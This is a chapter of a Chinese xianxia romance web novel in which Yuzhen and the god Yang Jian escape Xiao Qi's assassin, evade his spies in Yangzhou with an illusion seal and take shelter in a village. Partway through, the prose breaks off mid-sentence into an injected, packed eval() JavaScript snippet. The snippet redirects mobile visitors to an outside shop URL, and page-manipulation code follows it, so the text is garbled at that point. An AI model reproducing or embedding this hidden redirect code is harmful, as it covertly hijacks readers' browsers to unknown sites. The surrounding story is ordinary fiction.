一道声音从阴影中传来:“你把他扔进江里了?”
是杨戬。难道他刚才一直在看着自己?
玉真不知道作何回答,刚才还理直气壮地把人丢下水,但在杨戬面前总感觉小心思都被看穿了。
还不都是因为他头上的天眼,有窥探万物本真的能力,总会令玉真无地自容。
但人不犯我我不犯人,她又没主动害人,是萧启不讲武德,意欲暗害自己。
“对啊……怎、怎么了?”看杨戬要说话,玉真连忙插嘴,“等等,我先声明,是他先招惹我的,我总不能等着被他刀吧!”
杨戬没有责备玉真,反而倒是对她有些改观。
本来以为她这样手无缚鸡之力,偶尔看着有些笨,还会把厨房搞的一团糟,天真起来也六亲都认,面对这种突如其来的情况会慌乱一阵。
他思虑算周密的,今日与萧启聊完后,他也笃定萧启会派人下手,只是没想到这么快。
但杨戬早就已经提醒过玉真,让她不要单独行动,无事别出门,是因为他早就在房间里下了结界。
一旦贼人的刀尖逼近玉真,结界就会响应。对方虽能进屋,却始终无法近身。
所以即使玉真真的单纯到什么疑点都没察觉,也不至于让她的生命草草结束在一艘船上。
当时杨戬心里也打鼓,不知道玉真有没有体会到话外玄机,可又担心直言无凭据,反倒弄得她心中惶恐。
现在看来,他的担心属实多虑。
这人虽然没心没肺了点,终归还是有些头脑,也不会在自己刚保住小命时优柔寡断想着留贼人一命。
杨戬让玉真摊开手,又确认她身上没沾上什么不该有的痕迹:“……从昆仑山带出来的?……怎么是个定身符?”
“嗯,一炷香时效,想对中符人怎样都可以。”
杨戬听完也没多问,既然危机解除,没有血案便好。
“你先回房,别走舱内了。”杨戬起身让开那条狭窄的平台,“如果再有尾巴,本君来处理。”
闻听此言,玉真快步翻窗回房,落地后把窗子锁死,又在门上贴了道符,确保无虞。
玉真刚才确实在发愁萧启会不会还有后手,既然杨戬主动提出断后,她也没那么束手无策了。
玉真又低头看着自己的手,那里空空如也,但她还是轻轻抚上,感受着保自己一命的符咒的余温。
掌纹攀爬在细腻的肌肤上,方寸之间,尽是昆仑山为她撑起的一片天地。
玉真攥紧拳,暗暗发誓,一定要修炼成仙。这样,即便没有师门庇护、没有他人符咒傍身,也可自己为自己留退路。
慢慢地,学会用自己的方式,反击那些试图逼近自己的阴影。
***
船至扬州时,天色已近黄昏。
玉真站在甲板上,远处的码头逐渐靠近,岸上已经聚集了不少接船之人。
挑担的、牵马的、驾车的,还有抱着孩子张望的,俨然一副市井长卷铺在落日余晖的大地上。
萧启的队伍率先下了船。
临走前,萧启还是那副伪善的面孔:“杨郎君若是有闲暇时间在扬州盘桓几日,定要到萧氏坐坐,也好共享宾主之欢。”
码头前方有几辆马车正等着他们,车头挂着的旗子上落着“萧”字,在熙熙攘攘的人群中格外显眼。
换作旁人,看见这个字也得退避三舍,不敢上前招惹。
玉真跟着杨戬前后脚下了船,隐入人流前不动声色地回头张望。
萧启上车前在踏凳停留片刻,似乎对身边一个随从说了什么才掀帘入车。
那随从点头应到,没有跟在马车后,而是混入人群,很快便不见踪影。
“别回头。”此时杨戬不便出手,稍微施法摁在玉真肩头,“有人在跟着我们。”
玉真感受到肩头一股轻柔的力量,慢慢放松身体,垂着眼帘装作没事人一般继续走:“……是萧启派来的,对面有几个人?”
“还不确定,至少三个,但没穿萧氏的衣袍,大约是怕被认出来。”
“刚才看见对街藏着的青篷车了么,不算起眼,一直在萧氏后面,萧启走后车上的人就下来了。”
“那我们现在怎么办……”玉真低头,装作整理系在身上的包袱,“总不能一直让他们跟着,不如找个时机甩掉?”
光是找时机甩掉也不行,萧启没那么愚蠢。
他的目的是派人监视杨戬他们有没有真的如前所说,前往苏州会见旧友。
倘若派来的人跟丢了,回去禀报萧启时同样会引起他的疑心,那么一切的算计都是白费功夫。
“接着往前走一段,有片树林,可以利用。”杨戬利用神识感知到几道身影正装作闲逛,却始终若有似无地向他们游移。
他步伐自然地错后玉真半步,将她挡在身前,吸引了那些自以为隐蔽的视线,再通过神识错乱他们的感知力。
玉真注意到杨戬故意放慢步伐让自己走在前面,心里估摸他有了打算。
两人沿着码头西侧的石板路走了一段,林子还没看见,先拐进一条窄巷,隐进一家茶馆,靠窗的座位正好能瞧见巷口的动静。
杨戬要了两碗茶,老板问起时,玉真直言他们初来乍到,想找个地方歇脚。
停驻窗边,帷幔掀开一角,被杨戬修长的手指捏着,仅露出一只眼睛那只眼睛平静地向外望,如同深不见底的幽潭暗水。
“这么有毅力……他们还真打算一直跟着?”
“萧启这个人,不派人亲眼确认我们去了苏州是不会真正放心的。”杨戬放下茶碗,掌心已俨然躺着一枚青印。
但在烛火的映照下,玉真却诡异地发现上面残留的水痕。倒像是……口水?
杨戬的下颌线悄然紧绷,眉峰轻沉,几不可察地擦拭了水渍,随后轻轻一握,那印便化作几缕金光,绕过茶馆,朝巷口那些恶意的身影飘去。
片刻后,青印又飞回杨戬的袖口。他起身整理着装,示意玉真离开。
玉真难以想象这枚小印有这么大功效,瞠目结舌地发问:“就这么简单?”
但问完就后悔了,显得自己很没见过世面。毕竟自己对面坐着的可是杨戬,什么好东西他没有?
退一万步来讲,杨戬能用出这枚青印,也只是因为收敛法力,不然如今这个时候他早就把妖收了。
“他们现在看见的是我们正往城西官道走,准备换乘马车去苏州的景象。”
“这是最低级的幻术,应付他们足够了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874697|212346||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。只要他们觉得看见了该看的,自然不会深究,只管着禀报萧启他们意识里看到的一切。”
杨戬把茶钱摁在茶碗旁:“走吧,还有正事要办。”
天色已晚,再回城中恐有不便,何况玉真的凡体之躯走不了多么远。
他们绕过几座破落的旧宅,途经那片树林,渐渐走入一片炊烟袅袅的村落。
村口立着一块崭新的石碑,刻着“柳家村”三个字。
打眼一瞧,村子不大,地处却好。约莫二三十户人家,用土墙茅顶垒起来的。白水绕村,穿田而过。
村口树冠茂盛,遮住大片暮色,底下坐着几个正在扒毛絮的妇人。
见有生人进村,她们纷纷停下手头的活抬起头来,目光审慎地落在二人身上。
杨戬走上前拱手道:“诸位有礼,在下路过此地,因家妹旧疾复发不便赶路,想在此处寻一间空屋暂住几日,不知是否方便?”
玉真听见“旧疾复发”,立刻装作一副蒲柳之姿,斜靠在村口的石碑咳嗽,配合着杨戬那套说辞。
老妇人虽有怀疑,但耐不住玉真的可怜劲,最终松了口:“村尽头倒是有间空屋,原先住着的老陈头千年冬天也没了。”
“他一辈子无儿无女的,人走茶凉屋子空着也没人打理。倒是能住人,就是环境差了点。”
老妇人架起竹盆,步履蹒跚,自顾自嘀咕:“不过姑娘家……若是身上有病,可得注意。最近村里不太安生,自己留个心眼吧。”
“不安生?难道是有贼?”
“要是贼就好咯……别打听这么多啦,赶紧去打扫干净屋子,先凑活一晚吧。”
***
老陈头的房比玉真想象中的还要破败。
院落里杂草丛生,有些院墙塌了,拿篱笆草草围补了事,散发着经年未修缮的旧气。
两间屋。外间摆着灶台,桌凳歪歪扭扭地斜躺在地上。里间的石塌上铺了两层旧草席,灰尘在草缝里你挤我我挤你地堵在一块。
玉真打量了一圈,门锁又是坏的,好在虽破但不至于家徒四壁屋顶漏雨。墙角堆放一摞柴,应该没受潮,生火勉强能用。
这番窘境令她陡然记起鹿童曾经偷着给自己讲天庭秘事,两人趁南极仙翁不注意闷在被窝里挑灯夜读。
“师兄,神仙都腰缠万贯么?”
“噗,玉真,你说话真土。”鹿童笑岔了气,自家师妹都是什么脑回路,“得分是什么神仙了,而且神仙要钱有什么用,都是看香火。”
“香火越旺,神力越强。所以啊,那群神仙才挤破了脑袋想方设法造福人间,就盼着凡人那几根香呢。”
那时,玉真还傻傻追问:“那……谁封神之前会穷得叮当响啊?”
“好多呢……姜子牙、铁拐李,还有——”说到关键处,鹿童却卡壳了,支吾半天说不出一个字,“也不知道那位能不能算穷啊。”
“哪位哪位?”
“就、就那位啊……”
“……到底是哪位啊?”玉真嫌弃地撩开被子,“说话不能直接说嘛?吞吞吐吐的,要不以后我不找你讲了。”
“别啊师妹……”鹿童藏住方才眼底慌乱,纠结一阵后还是决定撂挑子,“哎呀我直说吧,就是真君!”